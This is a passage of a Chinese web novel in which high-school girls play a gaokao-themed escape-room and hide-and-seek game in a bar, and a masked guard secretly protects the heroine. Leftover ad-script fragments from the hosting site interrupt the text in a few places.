“你不用觉得我浪费,我饭量很大!三吨我都能吃完。你等会要一直这样扶着我哦!那我等会就分你更多。” 她简直是话痨,这短短几米距离,她起码说了五吨废话。 她说起来完全没有停歇,像是给自己鼓励,也像是转移话题,一句接着一句,天南海北地扯着现实生活中的事,不断提醒自己现在的黑暗都是假的,害怕都不足为惧。 她能感受到,拉住自己手腕的那只手,温热而有力量,听着自己絮絮叨叨的话,也一点都没有放松。 …… 两人终于走到了小周面前。 黄怀予把草稿纸递上去,鬼鬼祟祟地凑上去问: “小周哥哥,等会是你直接把答案交给我小姨吗?” 这话说完,小周还没有什么反应,黄怀予就突然感觉自己那只被拉住的右手突然被用力捏了一下。 “?” 她回头看了一眼,那警卫站得笔直,不说话,脸上戴着面罩也完全看不到表情。 她又转回来,“小周哥哥!跟你商量一件事呗。” ——右手手腕又被用力捏了一下,这次力气更大,似乎带着它主人强烈的情绪。 “……”黄怀予回头瞪了警卫一眼,不知道他抽什么疯,咋的,扮个密室逃脱的NPCcosplay还扮出感情了?不准考生和监考老师说话?你也入戏太深了吧! 黄怀予没理他,再次转回来。 她看一眼天花板的方向,又偷偷把自己的笔塞给小周,用只有这里的三个人才能听见的声音,小声凑到小周面前说: “等会你把答案送上去,要是瞄到正确答案了,你就在旁边见机行事,帮我们加几个关键词。” 她眼睛睁得大大的,神色极其认真,还想继续解释: “关键词,懂吗?文科大题都是看点给分的,你不用写太多,就对着正确答案,看我们没写哪些点,你就写几个字的关键词上去。” 小周回头,沉着脸,看着她。 黄怀予一看他这表情就知道不好。 果然,小周极其沉重地摇摇头。 “正义的使者,法律的审判,1969超级无敌宇宙洪荒第一警卫队长,绝对不会干这种事。” “……” 黄怀予深呼吸一口气,压下心头的怒火,耐着性子说: “别整这一套。我让谷奕给你双份钱。” 她自认为这条件已经足够吸引人,毕竟她和苏琬都是谷奕钞能力的手下败将。 没想到,面前的人还是坚定地摇摇头。 “在三位玩家通关游戏之前,我将誓死捍卫1969和老板的安全和利益。” 如果愤怒有声音,黄怀予此时早已吼出了《歌剧2》的海豚音。 “你卡带了就这两句话?你是被雇佣者,又不是农奴!你签的是劳动合同,又不是卖身契!中国人民已经站起来了!” 黄怀予愤怒得如同军阀混战时期奔走相告的革命党。 奈何眼前这人实在是救不起来。 她眼睁睁看着小周把她塞过去的笔又塞了回来,然后整理了一下手上的三份草稿纸,头也不回地走进了黑暗。 …… 一直被紧紧拉着的右手手腕,此时又被人往后扯了一下。 黄怀予转身,看过去。 那警卫站在黑暗里,挺拔的身姿像一棵树。 黄怀予垂头丧气地退到他后面,低着头恹恹地说: “谢谢你,不用扶我了。我不饿也不头晕了,因为现在气也气饱了。” “现在就听天由命吧。” 那只紧紧握住她手腕的大手似乎停住了几秒钟,终于还是轻轻地缓慢地松开了。 ——“苏琬!杯姐!” 前方传来谷奕石破天惊的大嗓门。 “你们写的啥!我们现在对一下!” 苏琬和黄怀予都按照回忆说出了自己写的点。果然两人写的98%都重合。黄怀予本来政治成绩就很好,她唯恐不够,写得更多,几乎写满了一整页纸。 ……结果谷奕听完了两人的回答,不说话了。 苏琬:“谷奕?你写的是什么?” “我……” 黄怀予心里陡然升起巨大的不安。 这一关的规则是每个人都必须把所有的得分点全部写出来才能通关! “大傻!” 黄怀予声音愤怒而颤抖,一下子就指出了谷奕的要害。 “你认识论背了吗!” “我,我背了!”他声音断在这里,“……但是我没背完。” ? 果然,下一秒,天花板上方就传来了那个阴森森的声音。 “玩家谷奕只写了一个得分点,判定为失败,现在执行惩罚!” 话音刚落,整个大厅里唯一的光源——那个显示着政治大题的屏幕也在那一刹那熄灭了,整个大厅迅速陷入伸手不见五指的黑暗中,入目只有黑暗一片,再也不见任何东西。 黄怀予一抖。 随即发出了她这辈子发出过的最大声的尖叫。 “啊啊啊啊啊啊啊啊啊啊啊啊——” 绷紧了一晚上的弦终于在此时此刻全盘绷断。 她颤抖地大喊: “李鸣月!李鸣月!李鸣月!” “我讨厌你!我恨你!” “我恨不得把你祖宗十八代都骂一遍!” “但是我不能骂!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “因为那也是我的祖宗十八代!!!” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——” 她在完完全全的黑暗中恐惧地大叫着,混乱之中一下子撞上了前面的一个人。 她出于本能立刻贴了上去,紧紧抱住了他,双手勒得死紧,整个人抖得厉害。 “啊啊啊啊啊啊啊啊啊啊啊啊啊——” 她像树袋熊一样缠在了这人身上,眼泪毫无征兆地飚了出来,然而她此时已经大脑一片空白,没有任何能力去控制自己的所有生理反应,只能死死地低着头,把自己的眼泪都蹭在了他胸前的衣服上。 …… 那人在她身体贴上去的一瞬间,身体就已经僵硬无比。 仿佛被定身咒给定住,整个人像一块木头,动也不动。 黄怀予完全不敢睁眼,因为睁眼也是一点点光亮都没有的黑暗。她只能紧紧闭着眼,牢牢地扒在那人身上。 她浑身抖得厉害,嘴里还在继续骂着李鸣月,但是带着浓重的哭腔,最后已经变成了埋在那人胸口呜呜咽咽,眼泪流了满脸。 “卧槽!杯姐!你别叫啊!你叫的我都害怕了!” “杯子!你还好吗?” 前面模模糊糊传来苏琬和谷奕的声音,黄怀予却已经没有任何能力去判断声音的方向,以及两人说话的内容。 天花板上传来了终极审判的恐怖声音。 “惩罚开始!” 那个声音透着极大的兴奋。 “鬼来抓人啦!” “请鬼老大——小周带头抓人,抓到人发奖金!” “抓到我外甥女,发最大的奖金!” 霎时间黄怀予听到四面八方都传来细细簌簌的声音,仿佛一下子从黑暗中走出了四五个人,嘻嘻哈哈说说笑笑的,正在大厅里到处奔跑抓人。 她抖着身体,从她紧紧抱住的警卫胸口前探出一个脑袋,朝他身后看。 眼前突然出现了晃来晃去的亮光——原来是那几个“鬼”都带着小功率的手电筒。 光线很细很小,强度也很黯淡,应该是李鸣月为了保证游戏体验所以选择了微微光亮,虽然比起之前完完全全的黑暗要好一些,但是仍然看不清楚,整个大厅昏暗一片。 大厅里瞬间响起巨大的笑声和尖叫声。 “卧槽!是不是你!小周!别抓我!” 谷奕到处在黑暗里漫无方向四处跑,声音又大,一下子撞到了好几个人,瞬间就被两个拿着手电筒笑得极开心的鬼抓住了。 他们迅速给谷奕脑门上贴上一个白色条子,像是学生会用的那种白色窄窄的便利贴。 谷奕一下子安静下来。 “嗯?” 他一下子在周围乱甩的手电筒光束看清了,这几个鬼,就是刚刚那几个警卫。 此时他们全部从刚刚黑色的警卫服换上了白色的床单,一个个简直像《千与千寻》里的无脸男。 …… 苏琬一直没出声。 她安静站在原地,打起十二分精神,听着天花板上的指令。 直到几个鬼拿着手电筒出现,整个大厅开始有了一些微微的光亮,她才终于看清了大厅里的局势。 她迅速借着那一点点亮光找到了墙角的方向,躲到了角落。今天恰巧穿上的深色上衣成了她最好的隐藏工具,她屏息凝神蹲在墙角,整个人完全隐匿在黑暗里。 但是她眼睛还在到处找着黄怀予。 ……黄怀予刚刚大叫了好几遍之后,突然没声了。 苏琬不由得越来越担心,不知道黄怀予是已经被抓了,还是被这种沉浸式体验感给吓傻了。 不仅是苏琬,全场所有的鬼此时此刻都在寻找黄怀予。 一个鬼本来十分自信地朝着黄怀予大叫的方向扑过去,却没想到几声过后她却再也没有发出过声音。 眼前这个黑暗的角落寂静一片。他手电筒扫来扫去,居然什么也没扫到。 114. 第 114 章 黄怀予身处于1969大厅的某一个昏暗角落里。 她正踮起脚,趴在警卫肩膀上,借着警卫身后不远处那一点点乱晃的光亮仔细观察着。 她一下子看见了大厅正中央的一个披着白色床单的鬼,正举着手电筒,十分神气地站着。 她眉头一皱,发现那是小周。 黄怀予想起刚刚李鸣月的话。之前还是警卫老大的小周,现在已经是鬼老大了。 那这几个鬼,难道都是刚刚的几个警卫? 也就是说,警卫到了这一关就会变成鬼来抓人? !! 那她现在扒着的这个…… 黄怀予一下子反应过来,惊得一抖,赶紧跳下来,想用力把这人推开。 但是刚刚还呆得像木头一样任她抱的这人,突然不知道从哪里来了力气,抬起双手,用力禁锢住她,不让她逃开。 黄怀予在心里大操特操,暗骂自己又相信了男人,果然这男人为了拿奖金立刻翻脸不认人了。 她用力挣扎,还不敢出声怕引来更多的鬼。 但是这人力气极大,两只手像钉住了一样不动,一只手揽着她的腰,一只手压着她的背,几乎是把她整个人牢牢抱在怀里,她鼻尖甚至好几次擦过他坚硬温热的胸膛。 前方又传来那个拿着手电筒的鬼的声音: “黄怀予在哪!黄怀予你在哪!赶紧把她找出来!今晚加餐!” 黄怀予怒火冲天,心想李鸣月都从哪里找来的员工,怎么她酒吧里的员工一个个戏瘾这么重呢? 玩个游戏还当真了,下一步是不是要去横店故宫当群演? 她越生气脑子越清醒。从走进1969一直饿到现在早就饿过了,刚刚做了几道题还大声尖叫,她现在简直如同喝了三杯咖啡一样精神。 她用力地推,却发现这人的胸口简直像铜墙铁壁,完全推不动。 前面那个拿着手电筒的鬼还在到处扫射,她只觉得手电筒的光束每一次都快要扫到他们两人,又每一次都堪堪避开,心脏都快吓得骤停。 “……” 她隐约感觉面前这人好像比较吃软,于是忍辱负重卧薪尝胆地小声劝道: “你先放开我,我去跑,你再来追,我们公平竞争。” “不然你现在这样,直接游戏结束了,还有什么游戏体验?” “你放心,你要是想拿奖金,我最后就主动被你抓住。但是现在你得让我先跑几圈,不然这个环节对我来说完全没意义啊。” 苦口婆心地劝了几句,但是这人完全沉默着不说话,也似乎根本不为所动。 她只感觉背上和腰上的手臂缠得越来越紧,像是要把她整个人都嵌在他怀里。 两人的皮肤身体隔着夏日薄薄的衣料紧密地贴合,她甚至能听见亲密距离下他胸腔里沉沉的心跳声。 黄怀予彻底耐心耗尽。 她只能喘着粗气低声骂道: “这不公平!我还没逃呢!这不算你抓住了!” “你这人要不要脸?亏我刚刚还想分你炸鸡翅!你把炸鸡翅给我吐出来!” “你男的女的?你抱这么紧干嘛!” 乱七八糟骂了几句,两人抱在一起不断挣扎。 黄怀予腿乱蹬,突然感觉到自己好像蹭到了什么坚硬的东西。 下一秒眼前这人就重重地闷哼一声,黄怀予贴在他胸口,听着他坚硬胸膛里传出的沉闷喘息,震得她耳边都微微发红。 …… 两人前方不远处,一个鬼正拿着手电筒四处扫射。 忽然,他好像隐隐约约看见前面的黑暗角落里好像有人影闪过,又听见几声女生的低声说话声,还夹杂着几声模模糊糊的男人的喘息声。 他立刻精神一振,手电筒一扫过去,就看见了女生白色的衣角,在黑暗里非常显眼。 他眼睛一亮,“找到你了!” ——就立刻向前方扑过去。 黄怀予余光扫到周围骤然变亮的光晕,心道完了。 被找到了! 她整个人已经被这个警卫死死抱住,基本丧失任何行动能力。 光晕越来越大,脚步声越来越近,黄怀予听着鬼“找到你了!”的兴奋叫声,骤然泄了气,已经准备放弃抵抗了。 ——却不想,面前这个把自己紧紧抱住的高大男人,却突然向左边的黑暗里一闪,连带着把怀里的她也整个人都带了过去。 他是警卫,本来应该换上白色的床单扮鬼,但是他现在依然穿着黑色的警卫服。 黑色与周围的黑暗融为一体,一米八几的高大身形把怀里穿着白色衣服的黄怀予遮挡了个严严实实。鬼在他身后拿着手电筒四处扫射,黯淡的光束探来探去,却只能看见他几乎隐匿在黑暗中的黑色背影。 ——再也没有找到女孩刚刚一闪而过的白色衣服角。 …… 小小的黑暗角落里,黄怀予被他牢牢地抱着。 缩在狭窄的一侧,两人互相之间紧密地贴合,温热的呼吸声交织在一起。 手电筒的光还在周围四处扫射,那个鬼走来走去,脚步声也跟着荡来荡去。 他有力的手紧紧抱着黄怀予,带着她在黑暗中左右躲避鬼的脚步。 他个子高大,身材虽然清瘦,但是贴上去却能感受到硬挺的薄薄肌肉,脚步很快,手上的力气极大,黄怀予甚至能感受到腰上他的手臂传来的温度,强硬但温暖。 每一次黄怀予觉得要被鬼摸到,下一秒就会被眼前的这人带着躲到另外的黑暗角落。 两人一路躲着越走越远,手电筒微弱的光扫过两人身边的黑暗,一个小小的墙角一闪而过被照亮。他迅速一个转身,抱着黄怀予快步躲进了右侧的狭窄墙角。 两人身后,手电筒光越来越微弱,还时不时传来鬼疑惑的翻找声:“去哪了?” 黄怀予屏住呼吸,偷偷踮起脚,从警卫宽阔的肩膀上往后看过去。 ——那个鬼仍然停留在大厅左边,像个没头苍蝇一样四处乱转,但是看上去离两个人已经有了一段距离。 “……” 她心脏剧烈地跳动,简直要蹦出胸腔。 两人现在基本处于安全的位置。 无人说话,喧闹都来自远方,她被他高大的身形压在狭小寂静的墙角,几乎被他的气息完全包裹。 黄怀予喘着气,微微抬头,看向黑暗中那张看不清的脸。 “你们警卫不是要保护1969和老板的安全和利益吗?” 她踮起脚尖,凑到这人耳边,轻声说: “怎么你现在开始保护我了?” 女孩干净的脸映在明明暗暗里,细长的眼睛里闪过摄人心魄的光。 “你这种行为,是不是算背叛了你们老板?” 他半晌没回答。 好几秒钟之后,黄怀予才感觉到,他的脖子动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了动,好像是终于点了点头。 “!”黄怀予面上一喜,如同抓住了敌人的巨大把柄,立刻开始策反。 她凑得更近,刚刚躲了半天的剧烈运动让她气喘吁吁,温热的急促的呼吸拂过他的耳侧。 “反都反了,你不如反得更彻底一点!” …… “找到没?” “没有啊!” “奇了怪了。她们俩跑哪去了!” “这两个小姑娘可真能藏!” “她们俩肯定在一起,抓到一个就能两个一起抓了。” “哎哟!抓到了抓到了!” “操!是我!你个哈巴裸!” …… 左后方突然传来一声非常非常轻的呼喊: “杯子!是你吗?” 黄怀予一震。 ——就算她死了也记得苏琬的声音。 她立刻回头,兴奋地小声回答: “琬儿!” 黑暗中出现一团黑糊糊的身影,一只冰凉的纤瘦的手向前牵住了她向黑暗里伸出的手。 黄怀予面上一喜,就看见黑暗中女孩模模糊糊的脸。 她见到自己,第一句话就是: “没事吧?别怕。” “……”黄怀予简直要哭出来,她此时此刻只想扑到苏琬怀里狠狠哭一场。 但是她牵着苏琬的手,才刚刚想扑过去,背上和腰上的那两只属于男人的有力的手就又开始持续彰显着十分强的存在感。 她回头,果然发现面前的男人依然紧紧抱着自己,带着不由分说的力气,完全没有松开的意思。 “老铁,我们按计划进行,我们俩先跑一会,等会我们来找你自投罗网,你放心吧。” 她抬头冲他眨眨眼,也不知道周围乌漆嘛黑的,他有没有看见。 “你又能拿你老板的奖金,还能拿到我给你的策反费!双赢,win-winsituation!” 那人沉默了好一会,可是两只大手却仍然不容置喙地把她禁锢在怀里。 …… 苏琬有些疑惑。 黑暗中看的不是很清楚,但是她可以确定是有一个人抱着黄怀予,抱得特别紧,两个人都一直贴在一起。 她轻蹙眉头,只觉得奇怪,感觉这人怪怪的。于是她抓紧黄怀予的手,更加用力往自己这边拉了一下。 黄怀予夹在两人中间,两边都完全没有松手的意思,一边紧紧把自己抱在怀里,一边用力拉着自己的手不放开。 她大怒。 现在是演偶像剧的时候吗?? 现在是生化危机啊! 她更急了,对着面前低气压的沉默男人说: “我发誓,我绝对不骗你。” 那人听到这话,似乎是愣了好一会。最终,黄怀予感觉到自己腰上的手终于慢慢卸下了力气。 直到最后,那人还拉住了她的衣角,三秒钟之后又松开,仿佛是在提醒她一定不能骗他。 黄怀予终于挣脱了束缚,立刻像一条鱼一样蹦起来,牵住苏琬,猫着腰钻进了黑暗里。 …… 刚刚还像只受惊的小猫一样呆在他怀里抓着他衣角的人,一下子就溜得飞快,像是一秒钟也不愿意多在他身边停留。 他低下头,手上仿佛还残余着她身上的温度。 清爽的橙子香味。 他缓慢地收紧五指。 115. 第 115 章 黄怀予被苏琬拉着,弯腰放轻脚步,沿着墙边一直往前走。 周围很暗,还夹杂着那群鬼极其吵闹嘈杂的翻找声。 她忍着害怕,不停告诉自己这是游戏,全心全意都在走路以及躲避手电筒光线上。 手心传来令人安心的温度。 苏琬回头,轻声说: “小心,牵着我,别摔倒。” 黄怀予握紧她的手,又在黑暗里跌跌撞撞,差点被绊一跤。 她到现在为止一口东西也没吃,一口水也没喝,还被李鸣月强塞了一个高考主题的大型沉浸式密室逃脱,自己连缓一缓说上个厕所的权利都没有,刚刚还在一个陌生人面前大叫,扒在人家身上抠都抠不下来。 简直丢尽了脸! 黄怀予越想越生气。 她一把拉住苏琬的手。 苏琬回头看她,“怎么了?还害怕吗?” 她摇头。 “别躲了。” “反就反,而且还要彻底地反!” 她主动牵住苏琬的手。 “我们擒贼先擒王。” …… 小周站在大厅中间,像自由女神像一样高高举着手电筒。 旁边的谷奕早就已经被两个鬼贴上了白条,押送着去了监控室。 抓到谷奕倒是小菜一碟,刚开始五分钟就已经拿下。 但是苏琬和黄怀予,竟然半小时了都没摸到一个影! 四个鬼,加上四个手电筒,如此有优势的背景,结果被两个十七岁的女孩耍得团团转! 黄怀予胆子比芝麻还小,先开始大厅全黑的那几分钟,她叫得比杀猪还惨,老板和泉姐在监控室里笑得杯子都打碎了一个。 胆子这么小的人,居然任由她在黑暗里躲了半小时都没抓住! 小周觉得自己这个鬼老大做得实在是窝囊! 他大喊:“行了!都别找了!” “集合!” 角落里的几个鬼纷纷停下动作,互相跑到小周面前,手电筒的黯淡光束乱甩。 甚至两个人直接撞在了一起,“哎呦!”叫出声,几团白色床单纠缠在一起,拖来拖去,两个人咕蛹在里面,像两只蛆。 小周更生气了,怒吼:“还不快点帮他们钻出来!” 小周在李鸣月老板面前卑微,在女生面前害羞,但是在手下面前极其有领导范。 纠缠在地上的两个人终于扯开了布,重新气喘吁吁地站起来。 “……”小周看着面前这几个人高马大的无脸男,无奈道,“刚刚谁看见黄怀予了?” 最左边一个鬼出列,“老大,我看见了。” “吴建国!你看见了怎么不抓?” “她溜得太快了!” 吴建国委屈扣扣头。 “我才刚看见她的白色衣服,刚扑过去,她突然一下子就闪开了,然后就好像被什么黑色的东西挡住了!挡得严严实实,就跟消失了一样……怎么抓都抓不到!” “哪来的什么黑色的东西!”小周锤他的头,“给你机会你不中用!” 几个人站成一排。 小周这才突然发现,怎么这里只有三个人? 还有一个鬼呢? 他一个一个看过去,突然发现,少掉的那个鬼就是…… 是他! 小周突然想到,刚刚所有警卫去换下警卫服披上白色床单扮鬼的时候,好像就没有看见他,但是当时所有人都沉浸于要出去当鬼捉人的兴奋里,一时间大家都没注意到这人不在。 “……” 小周有点纠结。毕竟他可不是自己的手下,他是老板的客人,过来玩的! 自己可不敢去指挥他。 人家说不定上厕所去了呢? 对对对! 小周很快就完成了自我说服,毕竟现在更重要的任务是捉人,而最重要的任务是捉胆小如鼠的黄怀予,拿到最大的奖金。 他继续看着眼前这三个手下,恨铁不成钢地指着吴建国。 “你别去了!去了还容易绊倒别人!” “其他人!继续搜寻黄怀予!她胆子小,不会去黑的角落,而且穿了白衣服,很显眼!一定要抓到!” “是!” 另外两个人立正,敬了个歪歪扭扭的礼,迅速就转身跑了。 只剩下吴建国委屈地站在原地。 小周也没管他,继续站在大厅中间,高高举着手里的手电筒,努力照亮周围。毕竟自己这里是最稳定的光源,黄怀予怕黑,说不定就会经过自己这里呢? ……吴建国默默走开,一个人漫无目的,走到了舞台的钢琴边。 既然不让他找了,那他就休息一下吧。 他坐在琴凳上,垂头丧气地呆着。 整个大厅里最亮的地方就是小周站的正中间,而吴建国在的钢琴周围几乎黑暗一片,唯一的亮光就是自己手里小小的手电筒。 手电筒发出的光本来就微弱,现在已经使用了一段时间,更是断断续续,似乎马上就要没电灭掉。 他一个人坐在黑暗里,发着呆。 突然,他左后方的钢琴突然重重地响了一声,像是有人用力按了一下琴键。 他坐得近,这钢琴的声音简直如同平地里一声惊雷,像是贴着他的身体在他耳边骤然响起,吓得他立刻蹦起来,条件发射往左后方转身去看。 ——什么都没有,黑乎乎一片。 “……”他喘着气心有余悸,还没彻底放松,拿着手电筒的右手手肘突然被人狠狠一撞,手不由自主松开,手里的手电筒猝不及防掉了下去,滚得老远。 “!” 他吓了一大跳,又赶紧向右边看过去,果然就看见一个白色的身影用极快的速度窜了出去,直奔滚落地上的手电筒。 “卧槽!” 吴建国反应过来,惊得立刻往前去扑,可是脚下不知被什么黑乎乎的东西绊住,绊得他一下子摔倒,痛得他哎呦叫唤了好几声。 他立刻爬起来,可是那个直奔手电筒的白色身影早就一溜烟没影了。 他看着那一束代表着他手电筒的小小的亮光以极快的速度向右前方移动,等到快要到正中间的小周的时候,就突然灭掉,消失在了黑暗里。 这时,他身后似乎也传来什么窸窸簌簌的声音,他回头就看见一个黑色的身影迅速从他身边逃开,窜进了深处的黑暗里。 “卧槽!” 他大叫。 “老大!黄怀予和苏琬偷袭我!” “她们俩左右开弓,抢走了我的手电筒!” …… “什么?!” 站在中间的小周瞪大眼睛。 “她们去哪了?!” 吴建国爬起来,“去你那里了!” “什么?!?!” 小周跳起来,大喊:“都过来!都快找!” 两个白色的鬼立刻从周围角落里凑上来,手电筒聚集在一起,把小周站的大厅中央照得极亮,地板上的花纹一下子都被光明照得一清二楚。 可是两个鬼加上小周三个人聚成一团,左找又找,也没能看到黄怀予和苏琬的一个衣服角。 小周十分生气,人都已经送上门来跑到他周围了,居然还找不到! 正在这时,吴建国还不怕死般蹭过来。 “老大!” “我能跟你呆在一起吗?手电筒丢了,我……有点怕黑。” “……” 黄怀予紧紧捏着关掉的手电筒,蜷缩着身子蹲在漆黑一片的墙角。 她早在跑到大厅中间最亮的地方的时候就关掉了手电筒,剩下的时间里,她都是咬着牙凭借着记忆,在黑暗里窜到这个她和苏琬之前约定好的位置。 周围漆黑一片,不远处还有小周大喊大叫的搜寻声,她只能努力缩着身体,闭上眼睛。 她嘴里默默喃喃自语: “苏琬马上就来了,苏琬马上就来了,别怕,别怕……” 果然,没过几分钟,她前方就传来轻微的细细簌簌的声音。 一只微凉的手握住了她。 “杯子,我在这。” 黄怀予那一瞬间终于得救。她也不知道苏琬是怎么在没有手电筒的情况下,从钢琴那个遥远的角落,一路这样黑乎乎地沿着墙根摸过来的。 反正当时苏琬说:“没问题。” 她就知道苏琬一定没问题。 …… “现在我们手电筒拿到了,要找到李鸣月现在在哪里。” “其实我们来了1969这么多次,都只是在大厅和洗手间活动,其他录音室和二楼都还没去过。” “她的声音可以通过话筒传得整个大厅都听得见,而且她看得见大厅里的所有事情。所以她旁边一定有话筒和摄像头,或者有其他人看得见,给她实时播报。” “泉姐也在她旁边,所以这个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地方肯定不挤,起码能容下两个人。” “目前看来,最有可能的地方就是监控室。” 苏琬想了想,问:“录音室长什么样?你见过吗?她的声音做了处理,所以录音室也有可能。” 黄怀予回想了一下,好像之前偶尔在楚恒的朋友圈和微博里会看见一两张录音室的照片,但是只是录音室里面的视角,看不见外面是什么样。 “我想想……录音室应该就在一楼,在舞台下方右转那里,隔着一层透明玻璃就可以看到舞台的样子,平时演出的时候用的。” “可是……”黄怀予又有些犹豫,“那几个鬼基本上也都在那个地方。我们现在如果过去,很有可能还没进去就被鬼抓住了。” 苏琬没说话,思考了一会。 她开口问道:“以你对1969的了解,一楼除了录音室,还会不会有什么别的房间?” 黄怀予仔仔细细地回忆了一下。 然后很悲催地发现,其实她每一次来1969,也没机会在灯红酒绿的酒醉氛围里看清楚所有墙壁和房间的细节。 她垂头丧气回答:“我也不知道。” ……两个人沉默了几秒钟,“擒贼先擒王”计划似乎进行了一半突然陷入了停滞。 苏琬突然抬起头。 “你不了解1969,但是你了解你小姨啊。” “这家酒吧从被她租下来开始到现在,所有装修都是她一个人亲历亲为的吧?” 黄怀予一愣。 这倒是。 李鸣月当时从帝都回来之后没两个星期就迅速选好了店铺,后面一直装修了好几个月,期间还经常微信给黄怀予发消息,抱怨盯装修施工是多么累的事。整间酒吧都是她的心血,她甚至从设计图纸开始都和装修的人进行讨论,力争把她想要的所有效果都做出来。 “李鸣月把工作和生活分得很清楚。” “在她看来,一楼最主要的作用就是营业接客和确保舞台演出顺利,所以除了桌椅板凳、舞台布置和其他装饰,就只有录音室是最有必要的。” “有时候1969通宵营业到凌晨六点,结束之后她会直接在酒吧里睡一会再回家。她睡的地方一定不会是一楼,连一张像样的床都没有。” “所以……” 黄怀予突然兴奋起来。 “二楼才是她的私人领域。” ——“不管是什么房间,反正一定在二楼。” 黄怀予在苏琬眼里看到一丝坚定,两人当下立刻确认了目标,手牵手朝着前方的楼梯口猫着腰轻声走过去。 …… 小周不信邪了,拿着手电筒仔仔细细地照,一个角落也没放过。 果然,下一秒就在楼梯口一下子照到一个白色身影。 看身影似乎是女生,发丝凌乱。还牵着另一个女生,两个人听到他的脚步声,迅速朝着反方向准备逃跑。 “在这!” 小周兴奋地扑过去,一下子抓到一个人。 “抓到了!” 小周紧紧拉着这人的手臂,却好像觉得不太对。这人好像穿着黑衣服,身高也特别高,手上更是坚硬的肌肉感。 他愣了一下,把手电筒往前一照,就看见朦胧白光下楚恒深邃的眉眼。 “哦!” 小周吓了一跳。 “楚先生?” 眼前人静静地站在黑暗里,仿佛与黑暗融为一体。 他眸子里冷冷淡淡,“是我。” “哦哦!不好意思。” 小周放开他的手,“你刚刚去哪里了?怎么刚刚一直没看到你。” 楚恒眼神没什么波澜,没回答,只是指着小周后方的一个方向。 “我刚刚看见,有白色的人影往那边去了。” “那边?” ——小周回头,身后黑乎乎一片,什么也看不到。 他想了想,疑惑道:“可是我刚刚好像看见是往你的左边去了……” 楚恒也没反驳,只是平静地说: “那我们一起抓,你去后面,我去左边。” “好好好!”小周一听眼睛亮了,刚刚还在生气少了一个吴建国,现在就来了一个楚恒,楚恒再怎么着也肯定比吴建国聪明吧! 他兴高采烈地回头走远了。 “……”楚恒垂眸,站在原地。 小周带着自己的手电筒走了,光明远去,楚恒周围又陷入黑暗。 116. 第 116 章 楚恒看着前方小周走远的背影。 几秒后,他转身往左,像是戴了夜视镜一样,往前面走了两步,在黑暗中精准地抓住了一个人的手臂。 手臂的主人还在屏气凝神怕被发现,结果一下子就被黑暗中伸出的一只有力的大手给捏住,吓得窜起来,刚想大叫就被前面的苏琬捂住了嘴。 “卧槽!” 黄怀予被用力捂住嘴巴,含含糊糊地小声骂。 她惊恐地回过头,在一片漆黑的角落里,隐隐约约十分模糊地看见那个熟悉的高大身影。 ——就是被自己扒在身上好久好久的那个警卫。 ……这人怎么又来了? 他是感觉到自己被骗了,过来重新抓她们的? 没事,是他就还好。 因为,他比较好骗。 她一下子泄了防备,放松下来,拍拍苏琬捂住自己的嘴表示安慰。 然后扯着两个人继续往墙边退去,直到退无可退,一直贴着墙壁。 苏琬也知道黄怀予此时此刻被之前那个警卫给拉住了。 她没像黄怀予那么乐观,谁知道那人是人是鬼。她捂着黄怀予的嘴没放松,一边跟着两人移动到了墙边,同时还一路推着黄怀予往前面楼梯口的方向走。 等三人这样互相牵制着停下来的时候,已经是走到了楼梯口正门口。 …… 苏琬放开捂住黄怀予嘴的手,紧紧牵住了她,同时另一只手已经悄悄放在了楼梯口大门的扶手上。 只要那人要抓她们,就破釜沉舟,直接跑上楼。 黄怀予被捂住半天的嘴终于重获自由,但是两只手却像被拔河一样左右受控——左手被这个奇怪的警卫拉着,右手被旁边的苏琬拉着。 这两个人,一个因为自己被骗了所以力气极大,浑身散发着一股阴沉的低气压;另一个浑身紧绷警惕心极强,随时准备好拉着她往二楼逃跑。 夹在中间手痛的只有她! 她往后看了看,数了一下后方远处亮着的光束——四道光,还有一个手电筒在自己手上,正好对应鬼老大小周和四个小鬼。 人数对上了,说明鬼都在后面远处那边搜寻,她们这边暂时安全。 黄怀予这才敢小声说话。 她对着面前高大的黑色身影,直截了当地轻声说: “你现在拉着我的手臂,这就算你抓住了吗?还是说有什么标志、什么仪式?” 黄怀予隐约觉得应该不是碰到就算抓住,毕竟刚刚自己和苏琬为了抢手电筒就已经碰了吴建国了,但是吴建国并没有说自己已经抓到她们两个了。 她想回忆一下之前谷奕被抓的时候是什么场景。 但是当时她正忙着扒在这个警卫胸口上尖叫,实在是没看到谷奕被抓的时候有什么标志性仪式。 她回头看苏琬,无声地询问。 苏琬也回忆了一下。当时大厅一片漆黑,只有谷奕那里有一些手电筒光,但是微弱且杂乱,几个人都混在一起抓人,她隐约只是看见谷奕被抓住,但是没看见具体有什么操作。 她和黄怀予对视一眼。黄怀予明白了她的意思,立刻觉得这件事还有转机。 如果是肢体上碰到就算抓住,这个警卫已经碰到自己无数次了,之前在鬼刚刚出场的时候,甚至抱得那么紧,亲密接触了好几分钟,简直如胶似漆。这说明从肢体接触到被抓,中间一定还有什么环节,这个环节才是最重要的决定性因素。 黄怀予又回过头来打量了一下面前这个男人。 他沉默地站着,从头到尾一句话都没有说。 金色的面具遮住了他大部分的脸,剩下的部分也完全隐匿在黑暗里,看不清表情。 要是说起这种和他相处的感觉,黄怀予倒是突然想到了一个人。 ——某位楚姓帅哥。 而且这位楚姓帅哥之前还跟自己约好了今天在这里见面。 …… 这个想法在她脑子里一闪而过时,她自己都有点吓到。 不会吧? 她心有余悸地往后仰仰头,在黑暗里观察了一下这人的身高,发现自己刚好到他胸口——妈呀,怎么连身高差都一模一样? 她这下真的有点慌了。 为了确定身份,她决定开启最后一项密钥测试。 黄怀予走上前一步,看他似乎是没排斥,悄悄把头凑了上去,在他胸口处使劲嗅了一下。 ——啥也没闻到。 她刚刚还剧烈起来的心跳声一下子又回去了。还好还好,没有那个标志性小苍兰味,绝对不是他。 黄怀予的信心顿时回来了。 她又回想起刚刚跟这人相处的所有过程。他明明是李鸣月的员工,却频繁保护她,当她骗他的时候,他也轻而易举地就被策反了,放她逃了。 连女人的话都相信,这男人单纯得没救了。 谁跟你双赢,谁跟你winwin,真正win的只可能是她和苏琬! 